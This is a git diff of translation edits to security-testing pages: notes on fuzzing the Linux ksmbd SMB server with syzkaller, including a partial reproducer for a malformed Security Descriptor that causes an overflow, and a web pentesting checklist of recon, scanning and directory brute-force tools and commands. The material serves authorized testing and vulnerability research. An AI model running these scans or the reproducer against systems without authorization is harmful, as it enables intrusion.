-这有助于构造有效的 ACLs,从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有过大 dacloffset 的恶意 Security Descriptor 可以重现 integer-overflow。
+这有助于构造有效的 ACLs,从而触发 smbacl.c 中的 arithmetic/overflow 路径。例如,一个具有超大 dacloffset 的恶意 Security Descriptor 会重现 integer-overflow。
-Reproducer builder (minimal Python):
+复现生成器 (minimal Python):
```python
def build_sd():
import struct
@@ -143,8 +143,8 @@ return bytes(sd)
```
---
-## 使用 ANYBLOB 打破覆盖率瓶颈
-syzkaller’s anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为可以通用变异的 blobs。 从公开的 SMB pcaps 中生成新的 corpus,并将 payloads 转换为调用你 pseudo-syscall(例如 syz_ksmbd_send_req)的 syzkaller 程序:
+## 用 ANYBLOB 打破覆盖率停滞
+syzkaller 的 anyTypes (ANYBLOB/ANYRES) 允许将复杂结构折叠为以通用方式变异的 blob。可从公开的 SMB pcaps 为新的语料库 seed,并将 payloads 转换为调用你的伪系统调用(例如 syz_ksmbd_send_req)的 syzkaller 程序:
```bash
# Extract SMB payloads to JSON
# tshark -r smb2_dac_sample.pcap -Y "smb || smb2" -T json -e tcp.payload > packets.json
@@ -167,14 +167,14 @@ f.write(
f"syz_ksmbd_send_req(&(&(0x7f0000000340))=ANY=[@ANYBLOB=\"{pdu}\"], {hex(pdu_size)}, 0x0, 0x0)"
)
```
-这能快速启动探索,并且可以立即触发 UAFs(例如,在 ksmbd_sessions_deregister 中),同时将覆盖率提高几个百分点。
+这可以快速启动探索,并可能立即触发 UAFs (例如在 ksmbd_sessions_deregister 中),同时将覆盖率提升几个百分点。
---
-## Sanitizers:超越 KASAN
-- KASAN 仍然是检测堆漏洞(UAF/OOB)的主要探测器。
-- KCSAN 在该目标上经常产生误报或低严重度的数据竞争。
-- UBSAN/KUBSAN 能捕获 KASAN 由于数组索引语义而遗漏的声明边界错误。示例:
+## Sanitizers: 超越 KASAN
+- KASAN remains the primary detector for heap bugs (UAF/OOB).
+- KCSAN 在此目标上常常产生误报或低严重性的数据竞争。
+- UBSAN/KUBSAN 可以捕获由于数组索引语义导致 KASAN 漏报的声明边界错误。示例:
```c
id = le32_to_cpu(psid->sub_auth[psid->num_subauth - 1]);
struct smb_sid {
@@ -187,19 +187,19 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
---
## 吞吐量与并行性说明
-- 单个 fuzzer 进程(共享 auth/state)对于 ksmbd 通常更稳定,并且仍能借助 syzkaller 的内部 async executor 触发 races/UAFs。
-- 在多台 VMs 下,总体仍可达到每秒数百个 SMB 命令。函数级覆盖率大致可达 fs/smb/server 约 60% 和 smb2pdu.c 约 70%,但这些度量通常不能充分反映 state-transition 的覆盖情况。
+- 单个 fuzzer 进程(shared auth/state)对于 ksmbd 通常更稳定,并且由于 syzkaller 的 internal async executor,仍然能暴露 race/UAF 等问题。
+- 使用多台 VM 时,总体仍可达到每秒数百个 SMB 命令的处理量。函数级覆盖率可以达到对 fs/smb/server 约 ~60% 和对 smb2pdu.c 约 ~70%,不过这类度量通常低估了状态转换的覆盖情况。
---
-## 实用检查清单
+## 实用清单
- 在 ksmbd 中启用 durable handles、leases、multi-channel、oplocks 和 VFS objects。
-- 允许 guest 和 map-to-guest;接受 NTLMv2。移除 credit limits 并提高 max connections 以提升 fuzzer 稳定性。
-- 构建有状态的 harness,缓存 SessionId/TreeID/FileIDs 并串联 create → ioctl → close。
-- 使用 SMB2 PDUs 的 grammar 以保持结构有效性。
-- 使用 focus_areas 对覆盖薄弱的函数加权(例如 smbacl.c 中的 smb_check_perm_dacl 路径)。
-- 用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台瓶颈;用 syz-db 打包 seeds 以便复用。
-- 使用 KASAN + UBSAN 运行;仔细处置 UBSAN 的 declared-bounds 报告。
+- 允许 guest 和 map-to-guest;接受 NTLMv2。去掉 credit limits 并提高 max connections 以提高 fuzzer 的稳定性。
+- 构建一个有状态的 harness,缓存 SessionId/TreeID/FileIDs,并将 create → ioctl → close 链接起来。
+- 使用针对 SMB2 PDUs 的 grammar 以保持结构有效性。
+- 使用 focus_areas 来加重那些覆盖较弱的函数(例如 smbacl.c 中像 smb_check_perm_dacl 的路径)。
+- 使用来自真实 pcaps 的 ANYBLOB 作为种子以打破平台期;使用 syz-db 打包种子以便复用。
+- 在 KASAN + UBSAN 下运行;仔细整理 UBSAN declared-bounds 报告。
---
@@ -214,6 +214,6 @@ Setting num_subauth = 0 triggers an in-struct OOB read of sub_auth[-1], caught b
- KCSAN: https://docs.kernel.org/dev-tools/kcsan.html
- Microsoft Open Specifications (SMB): https://learn.microsoft.com/openspecs/
- Wireshark Sample Captures: https://wiki.wireshark.org/SampleCaptures
-- Background reading: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
+- 背景阅读: pwning.tech “Tickling ksmbd: fuzzing SMB in the Linux kernel”; Dongliang Mu’s syzkaller notes
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md
index 261875925..9f8d62d26 100644
--- a/src/network-services-pentesting/pentesting-web/README.md
+++ b/src/network-services-pentesting/pentesting-web/README.md
@@ -4,9 +4,9 @@
## 基本信息
-Web 服务是最 **常见且范围广泛的服务**,存在许多 **不同类型的漏洞**。
+web 服务是最**常见且范围最广的服务**之一,存在许多**不同类型的漏洞**。
-**默认端口:** 80 (HTTP), 443(HTTPS)
+**默认端口:** 80 (HTTP), 443(HTTPS)
```bash
PORT STATE SERVICE
80/tcp open http
@@ -24,48 +24,48 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
web-api-pentesting.md
{{#endref}}
-## 方法论摘要
+## Methodology summary
-> 在本方法论中,我们假定你将针对一个 domain(或 subdomain)进行攻击,仅针对该目标。因此,应当对范围内每个发现的 domain、subdomain 或运行不明 web server 的 IP 应用此方法论。
+> 在此 methodology 中,我们假设你只会攻击一个域(或子域)。因此,应对在范围内发现的每个域、子域或未确定 web server 的 IP 应用此 methodology。
-- [ ] 首先**识别** web server 使用的 **technologies**。如果能成功识别该 tech,请在后续测试中留意相关 **tricks**。
-- [ ] 该 technology 的版本是否存在已知的 **known vulnerability**?
-- [ ] 是否使用了任何 **well known tech**?是否有任何 **useful trick** 可用于提取更多信息?
-- [ ] 是否有需要运行的 **specialised scanner**(例如 wpscan)?
-- [ ] 运行 **general purposes scanners**。你永远不知道它们是否会发现什么或提供有价值的信息。
-- [ ] 从 **initial checks** 开始:检查 **robots**、**sitemap**、**404** 错误以及 **SSL/TLS scan**(如果为 HTTPS)。
-- [ ] 开始对网页进行 **spidering**:现在是时候 **find** 出所有可能的 **files, folders** 及正在使用的 **parameters**。同时,检查是否有 **special findings**。
-- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 spidering。_
-- [ ] **Directory Brute-Forcing**:尝试对所有已发现的文件夹进行 brute force,以寻找新的 **files** 和 **directories**。
-- [ ] _注意:在 brute-forcing 或 spidering 过程中发现任何新目录时,应该对其进行 Brute-Forced。_
-- [ ] **Backups checking**:通过附加常见的备份扩展名,测试是否能找到 **discovered files** 的 **backups**。
-- [ ] **Brute-Force parameters**:尝试 **find hidden parameters**。
-- [ ] 一旦你 **identified** 了所有可能接受 **user input** 的 **endpoints**,就要检查与之相关的各种 **vulnerabilities**。
+- [ ] Start by **identifying** the **technologies** used by the web server. Look for **tricks** to keep in mind during the rest of the test if you can successfully identify the tech.
+- [ ] Any **known vulnerability** of the version of the technology?
+- [ ] Using any **well known tech**? Any **useful trick** to extract more information?
+- [ ] Any **specialised scanner** to run (like wpscan)?
+- [ ] Launch **general purposes scanners**. You never know if they are going to find something or if the are going to find some interesting information.
+- [ ] Start with the **initial checks**: **robots**, **sitemap**, **404** error and **SSL/TLS scan** (if HTTPS).
+- [ ] Start **spidering** the web page: It's time to **find** all the possible **files, folders** and **parameters being used.** Also, check for **special findings**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be spidered._
+- [ ] **Directory Brute-Forcing**: Try to brute force all the discovered folders searching for new **files** and **directories**.
+- [ ] _Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
+- [ ] **Backups checking**: Test if you can find **backups** of **discovered files** appending common backup extensions.
+- [ ] **Brute-Force parameters**: Try to **find hidden parameters**.
+- [ ] Once you have **identified** all the possible **endpoints** accepting **user input**, check for all kind of **vulnerabilities** related to it.
- [ ] [Follow this checklist](../../pentesting-web/web-vulnerabilities-methodology.md)
-## 服务器版本(是否易受攻击?)
+## Server Version (Vulnerable?)
-### 识别
+### Identify
-检查正在运行的服务器 **version** 是否存在 **known vulnerabilities**。\
-**HTTP headers and cookies of the response** 对 **identify** 所使用的 **technologies** 和/或 **version** 非常有帮助。**Nmap scan** 可以识别服务器版本,但工具 [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
+Check if there are **known vulnerabilities** for the server **version** that is running.\
+The **HTTP headers and cookies of the response** could be very useful to **identify** the **technologies** and/or **version** being used. **Nmap scan** can identify the server version, but it could also be useful the tools [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)or [**https://builtwith.com/**](https://builtwith.com)**:**
```bash
whatweb -a 1 #Stealthy
whatweb -a 3 #Aggresive
webtech -u
webanalyze -host https://google.com -crawl 2
```
-搜索 **是否有** [**web 应用的漏洞** **版本信息**](../../generic-hacking/search-exploits.md)
+Search **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md)
-### **检查是否有 WAF**
+### **Check if any WAF**
- [**https://github.com/EnableSecurity/wafw00f**](https://github.com/EnableSecurity/wafw00f)
- [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git)
- [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html)
-### Web 技术 技巧
+### Web tech tricks
-一些 **技巧** 用于在不同知名 **技术** 中 **发现漏洞**:
+一些用于在不同已知技术中发现漏洞的技巧:
- [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md)
- [**Apache**](apache.md)
@@ -102,27 +102,27 @@ webanalyze -host https://google.com -crawl 2
- [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html)
- [**Sitecore**](sitecore/index.html)
-_请注意,**同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**._\
-如果该 web 应用 使用 之前列出的任何知名 **技术/平台** 或 **任何其他**,别忘了 **在互联网上搜索** 新的技巧(并告诉我!)。
+_请注意 **同一域名** 可能在不同的 **端口**、**目录** 和 **子域** 上使用 **不同的技术**。_\
+如果 web 应用正在使用任何之前列出的知名 **技术/平台** 或 **其他**,别忘了在 **互联网上搜索** 新的技巧(并告诉我!)。
-### 源代码审查
+### Source Code Review
-如果应用的 **源代码** 可在 **github** 获取,除了你亲自对应用进行 **White box test** 外,还有一些 **信息** 可能对当前的 **Black-Box testing** 有用:
+如果应用的 **源代码** 可在 **github** 获取,除了你自行对该应用进行 **白盒测试** 之外,仓库中还有一些可能对当前 **黑盒测试** 有用的 **信息**:
-- 是否有 **Change-log 或 Readme 或 Version** 文件或任何通过 web 可访问的 **版本信息**?
-- **凭据** 是如何以及在哪里保存的?是否有任何(可访问的?)**文件** 包含凭据(用户名或密码)?
-- **密码** 是 **明文**、**加密** 还是使用了哪种 **哈希算法**?
-- 是否使用任何 **master key** 来加密某些东西?使用了哪种 **算法**?
-- 你能否通过利用某些漏洞 **访问这些文件中的任意一个**?
-- 在 **github** 中是否有任何有趣的信息(已解决和未解决的)**issues**?或者在 **commit history** 中(可能某个旧提交中引入了某个 **密码**)?
+- 是否有 **Change-log 或 Readme 或 Version** 文件,或任何可通过 web 访问的 **版本信息**?
+- 凭证是如何以及在哪里保存的?是否有任何(可访问的?)含有凭证(用户名或密码)的 **文件**?
+- 密码是以 **明文**、**加密** 还是使用了哪种 **哈希算法**?
+- 是否使用任何用于加密的 **主密钥**?使用的是哪种 **算法**?
+- 你是否可以通过利用某些漏洞访问这些 **文件** 中的任意一个?
+- 在 **github** 中是否有任何 **有趣的信息**(已解决或未解决的)**issues**?或者在 **commit history**(提交历史)中是否有(可能在旧的提交中引入的)**密码**?
{{#ref}}
code-review-tools.md
{{#endref}}
-### 自动扫描器
+### Automatic scanners
-#### 通用自动扫描器
+#### General purpose automatic scanners
```bash
nikto -h
whatweb -a 4
@@ -136,7 +136,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi
```
#### CMS 扫描器
-如果使用了 CMS,别忘了**运行扫描器**,可能会发现有价值的内容:
+如果使用了 CMS,别忘了**运行扫描器**,也许会发现有价值的信息:
[**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\
[**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** 用于检测网站的安全问题。 (GUI)\
@@ -149,45 +149,45 @@ wpscan --force update -e --url
joomscan --ec -u
joomlavs.rb #https://github.com/rastating/joomlavs
```
-> 到此为止,你应该已经对客户端使用的 web server(如果有提供数据)有了一些了解,并掌握在测试中需注意的一些技巧。如果幸运的话,你甚至可能已经发现了 CMS 并运行了一些 scanner。
+> 此时你应该已经掌握了一些关于客户端使用的 web 服务器的信息(如果提供了任何数据)以及在测试中需要记住的一些技巧。如果幸运的话,你甚至已经发现了一个 CMS 并运行了一些 scanner。
## 逐步 Web Application 发现
-> 从这一点开始,我们将开始与 web application 交互。
+> 从这一点开始我们将开始与 web 应用交互。
-### 初步检查
+### 初始检查
-**带有有用信息的默认页面:**
+**包含有用信息的默认页面:**
- /robots.txt
- /sitemap.xml
- /crossdomain.xml
- /clientaccesspolicy.xml
- /.well-known/
-- 也检查主页面和次要页面中的注释。
+- 还要检查主页面和次要页面中的注释。
-**触发错误**
+**强制产生错误**
-当向 Web 服务器发送异常数据时,服务器可能会**异常行为**。这可能会打开 **vulnerabilities** 或 **泄露敏感信息**。
+当向 Web 服务器发送奇怪的数据时,服务器可能会**表现异常**。这可能会暴露**漏洞**或**泄露敏感信息**。
-- 访问 **伪造页面**,例如 /whatever_fake.php (.aspx,.html,.etc)
-- 在 **cookie 值** 和 **参数值** 中 **添加 "\[]", "]]", 和 "\[["** 以制造错误
-- 通过在 **URL** 的 **末尾** 提供输入 **`/~randomthing/%s`** 来生成错误
-- 尝试不同的 **HTTP Verbs**,例如 PATCH、DEBUG,或故意使用错误的 FAKE
+- 访问 **假页面**,例如 /whatever_fake.php (.aspx,.html,.etc)
+- **在** **cookie 值** 和 **参数 值** 中 **添加 "\[]", "]]", 和 "\[["** 以触发错误
+- 通过在 **URL** 的 **末尾** 提供输入如 **`/~randomthing/%s`** 来生成错误
+- 尝试 **不同的 HTTP Verbs**,例如 PATCH、DEBUG,或错误的如 FAKE
#### **检查是否可以上传文件 (**[**PUT verb, WebDav**](put-method-webdav.md)**)**
-如果你发现 **WebDav** 已启用,但你在根目录没有足够的权限来 **上传文件**,尝试:
+如果发现 **WebDav** 已 **启用**,但在根文件夹没有足够权限进行 **上传文件**,尝试:
- **Brute Force** 凭证
-- 通过 WebDav **Upload files** 到网页中已发现的其他文件夹。你可能对其他文件夹具有上传权限。
+- 通过 WebDav 将 **上传文件** 放到网页内其他 **已发现文件夹**。你可能在这些文件夹拥有上传权限。
### **SSL/TLS 漏洞**
-- 如果应用在任何部分**没有强制使用 HTTPS**,则容易受到 **MitM** 攻击。
-- 如果应用**通过 HTTP 发送敏感数据(如密码)**,则这是一个高危漏洞。
+- 如果应用在任何部分**没有强制使用 HTTPS**,那么它**容易受到 MitM 攻击**
+- 如果应用**通过 HTTP 发送敏感数据(密码)**,则这是一个高危漏洞。
-使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 检查 **vulnerabilities**(在 Bug Bounty 计划中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些 vulnerabilities:
+使用 [**testssl.sh**](https://github.com/drwetter/testssl.sh) 来检查 **漏洞**(在 Bug Bounty 项目中这类漏洞可能不会被接受),并使用 [**a2sv**](https://github.com/hahwul/a2sv) 重新核实这些漏洞:
```bash
./testssl.sh [--htmlfile] 10.10.10.10:443
#Use the --htmlfile to save the output inside an htmlfile also
@@ -203,51 +203,51 @@ Information about SSL/TLS vulnerabilities:
### Spidering
-在 web 应用内启动某种 **spider**。spider 的目标是从被测试的应用中**找到尽可能多的路径**。因此,应使用 web 爬行和外部来源来发现尽可能多的有效路径。
+Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible.
-- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML 爬虫,可在 JS 文件中使用 LinkFinder,并使用外部来源 (Archive.org, CommonCrawl.org, VirusTotal.com)。
-- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HTML 爬虫,具有针对 JS 文件的 LinkFinder 并使用 Archive.org 作为外部来源。
-- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML 爬虫,同时标记“juicy files”。
-- [**evine** ](https://github.com/saeeddhqan/evine)(go): 交互式 CLI HTML 爬虫。也会在 Archive.org 中搜索。
-- [**meg**](https://github.com/tomnomnom/meg) (go): 该工具不是蜘蛛但很有用。你可以提供一个 hosts 文件和一个 paths 文件,meg 会对每个主机的每个路径进行抓取并保存响应。
-- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): 具有 JS 渲染能力的 HTML 爬虫。然而,看起来它没有维护,预编译版本较旧且当前代码无法编译。
-- [**gau**](https://github.com/lc/gau) (go): 使用外部提供者(wayback, otx, commoncrawl)的 HTML 爬虫。
-- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): 该脚本会找到带参数的 URL 并列出它们。
-- [**galer**](https://github.com/dwisiswant0/galer) (go): 具有 JS 渲染能力的 HTML 爬虫。
-- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML 爬虫,具备 JS 美化能力,可在 JS 文件中搜索新路径。也可以看看 [JSScanner](https://github.com/dark-warlord14/JSScanner),它是 LinkFinder 的一个封装。
-- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): 从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug 猎人、red teamers、infosec ninjas 很有用。
-- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): 一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件中解析相对 URL。对轻松发现 AJAX 请求很有用。似乎未维护。
-- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): 给定一个文件 (HTML),它将使用巧妙的正则表达式从混淆(minify)文件中查找并提取相对 URL。
-- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools): 使用多个工具从 JS 文件中收集有趣信息。
-- [**subjs**](https://github.com/lc/subjs) (go): 查找 JS 文件。
-- [**page-fetch**](https://github.com/detectify/page-fetch) (go): 在 headless browser 中加载页面并打印出所有为加载页面所请求的 urls。
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust): 内容发现工具,融合了前述工具的多种选项。
-- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions): 一个 Burp 扩展,用于在 JS 文件中查找路径和参数。
-- [**Sourcemapper**](https://github.com/denandz/sourcemapper): 给定 .js.map URL 时,获取美化后的 JS 代码的工具。
-- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): 用于为给定目标发现 endpoints 的工具。
-- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并寻找更多链接)。
-- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): 爬取(甚至通过填写表单)并使用特定 regex 查找敏感信息。
-- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite 是为网络安全专家设计的高级多功能 GUI web 安全 Crawler/Spider。
-- [**jsluice**](https://github.com/BishopFox/jsluice) (go): 一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 和其他有趣数据。
-- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge 是一个简单的 **Burp Suite extension**,用于从请求中**提取参数和 endpoints**,以为 fuzzing 和枚举创建自定义 wordlist。
-- [**katana**](https://github.com/projectdiscovery/katana) (go): 对此非常棒的工具。
-- [**Crawley**](https://github.com/s0rg/crawley) (go): 打印它能够找到的每个 link。
+- [**gospider**](https://github.com/jaeles-project/gospider) (go):HTML spider,能在 JS files 中使用 LinkFinder 并查询外部来源(Archive.org、CommonCrawl.org、VirusTotal.com)。
+- [**hakrawler**](https://github.com/hakluke/hakrawler) (go):HML spider,带有针对 JS files 的 LinkFinder,并使用 Archive.org 作为外部来源。
+- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python):HTML spider,同时指出“juicy files”。
+- [**evine** ](https://github.com/saeeddhqan/evine)(go):Interactive CLI HTML spider。它也会在 Archive.org 中搜索
+- [**meg**](https://github.com/tomnomnom/meg) (go):这个工具不是 spider,但可能有用。你可以指定一个 hosts 文件和一个 paths 文件,meg 会对每个 host 的每个 path 发起请求并保存响应。
+- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go):具有 JS rendering 功能的 HTML spider。但看起来未维护,预编译版本较旧且当前代码无法编译
+- [**gau**](https://github.com/lc/gau) (go):使用外部提供者(wayback、otx、commoncrawl)的 HTML spider
+- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider):该脚本将找到带参数的 URL 并列出它们。
+- [**galer**](https://github.com/dwisiswant0/galer) (go):具有 JS rendering 功能的 HTML spider。
+- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python):HTML spider,具备 JS beautify 功能,能够在 JS files 中搜索新路径。也值得看一下 [JSScanner](https://github.com/dark-warlord14/JSScanner),这是 LinkFinder 的一个封装。
+- [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go):用于从 HTML 源和嵌入的 javascript 文件中提取 endpoints。对 bug hunters、red teamers、infosec ninjas 很有用。
+- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7):一个使用 Tornado 和 JSBeautifier 的 python 2.7 脚本,用于从 JavaScript 文件解析相对 URL。对发现 AJAX 请求很有用。看起来未维护。
+- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby):给定一个文件(HTML)后,它会使用巧妙的正则表达式从丑陋(minify)文件中查找并提取相对 URL。
+- [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, several tools):使用多个工具从 JS files 收集有趣的信息。
+- [**subjs**](https://github.com/lc/subjs) (go):查找 JS files。
+- [**page-fetch**](https://github.com/detectify/page-fetch) (go):在 headless browser 中加载页面并打印出为加载该页面而加载的所有 urls。
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) (rust):内容发现工具,融合了前述工具的多种选项
+- [**Javascript Parsing**](https://github.com/xnl-h4ck3r/burp-extensions):一个 Burp 扩展,用于在 JS files 中查找 path 和 params。
+- [**Sourcemapper**](https://github.com/denandz/sourcemapper):给定 .js.map URL 时,该工具会获取 beautified 的 JS 代码
+- [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder):用于为给定目标发现 endpoints 的工具。
+- [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** 从 wayback machine 发现链接(也会下载 wayback 中的响应并查找更多链接)
+- [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go):可以抓取(甚至通过填写表单)并使用特定 regex 查找敏感信息。
+- [**SpiderSuite**](https://github.com/3nock/SpiderSuite):Spider Suite 是一个为网络安全专业人员设计的高级多功能 GUI web security Crawler/Spider。
+- [**jsluice**](https://github.com/BishopFox/jsluice) (go):这是一个 Go 包和 [command-line tool](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice),用于从 JavaScript 源代码中提取 URLs、paths、secrets 以及其他有趣的数据。
+- [**ParaForge**](https://github.com/Anof-cyber/ParaForge):ParaForge 是一个简单的 **Burp Suite extension**,用于 **提取请求中的 parameters 和 endpoints**,以便为 fuzzing 和枚举创建自定义 wordlist。
+- [**katana**](https://github.com/projectdiscovery/katana) (go):非常适合这类工作。
+- [**Crawley**](https://github.com/s0rg/crawley) (go):打印它能找到的每一个链接。
### Brute Force directories and files
-从根目录开始进行 **brute-forcing**,并确保使用**此方法**对**发现的所有目录**进行 brute-force,也对通过 **Spidering** **发现的所有目录**进行 brute-force(你可以递归地进行 brute-forcing,并在所用 wordlist 开头添加已发现目录的名称)。\
-工具:
+Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\
+Tools:
-- **Dirb** / **Dirbuster** - 包含在 Kali 中,**老旧**(且**慢**)但可用。允许 auto-signed certificates 和递归搜索。与其它选项相比太慢。
-- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: 它不允许 auto-signed certificates 但**允许递归搜索**。
-- [**Gobuster**](https://github.com/OJ/gobuster) (go): 它允许 auto-signed certificates,但**不**支持**递归**搜索。
-- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- 快速,支持递归搜索。**
+- **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options.
+- [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: It doesn't allow auto-signed certificates but** allows recursive search.
+- [**Gobuster**](https://github.com/OJ/gobuster) (go):支持自签名证书,但**不**支持 **recursive** 搜索。
+- [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Fast, supports recursive search.**
- [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ`
-- [**ffuf** ](https://github.com/ffuf/ffuf)- 快速: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
-- [**uro**](https://github.com/s0md3v/uro) (python): 这不是蜘蛛,但给定已发现的 URL 列表后,它会删除“重复”的 URLs。
-- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Burp 扩展,从不同页面的 burp 历史中创建目录列表。
-- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): 基于 js imports 移除具有重复功能的 URLs。
-- [**Chamaleon**](https://github.com/iustin24/chameleon): 使用 wapalyzer 检测使用的技术并选择要使用的 wordlists。
+- [**ffuf** ](https://github.com/ffuf/ffuf)- Fast: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ`
+- [**uro**](https://github.com/s0md3v/uro) (python):这不是 spider,但给定已发现的 URL 列表后,它可以删除“重复”的 URLs。
+- [**Scavenger**](https://github.com/0xDexter0us/Scavenger):Burp Extension,用于从不同页面的 burp 历史中创建目录列表
+- [**TrashCompactor**](https://github.com/michael1026/trashcompactor):基于 js imports 移除具有重复功能的 URLs
+- [**Chamaleon**](https://github.com/iustin24/chameleon):它使用 wapalyzer 检测所用技术并选择要使用的 wordlists。
**Recommended dictionaries:**
@@ -268,41 +268,41 @@ Information about SSL/TLS vulnerabilities:
- _/usr/share/wordlists/dirb/big.txt_
- _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_
-_注意:每当在 brute-forcing 或 spidering 过程中发现新目录时,应该对其进行 Brute-Force。_
+_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._
### What to check on each file found
-- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): 在 HTML 中查找可能导致 takeover 的 broken links。
-- **File Backups**: 找到所有文件后,查找所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体有: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**。**
-- **Discover new parameters**: 你可以使用像 [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **和** [**Param Miner**](https://github.com/PortSwigger/param-miner) **这样的工具来发现隐藏参数。如果可能,试着在每个可执行的 web 文件上搜索隐藏参数。**
+- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker):在 HTML 中查找可能导致 takeovers 的 broken links
+- **File Backups**:一旦你找到了所有文件,查看所有可执行文件的备份("_.php_", "_.aspx_"...)。常见的备份命名变体包括:_file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp 和 file.old._ 你也可以使用工具 [**bfac**](https://github.com/mazen160/bfac) **或** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.**
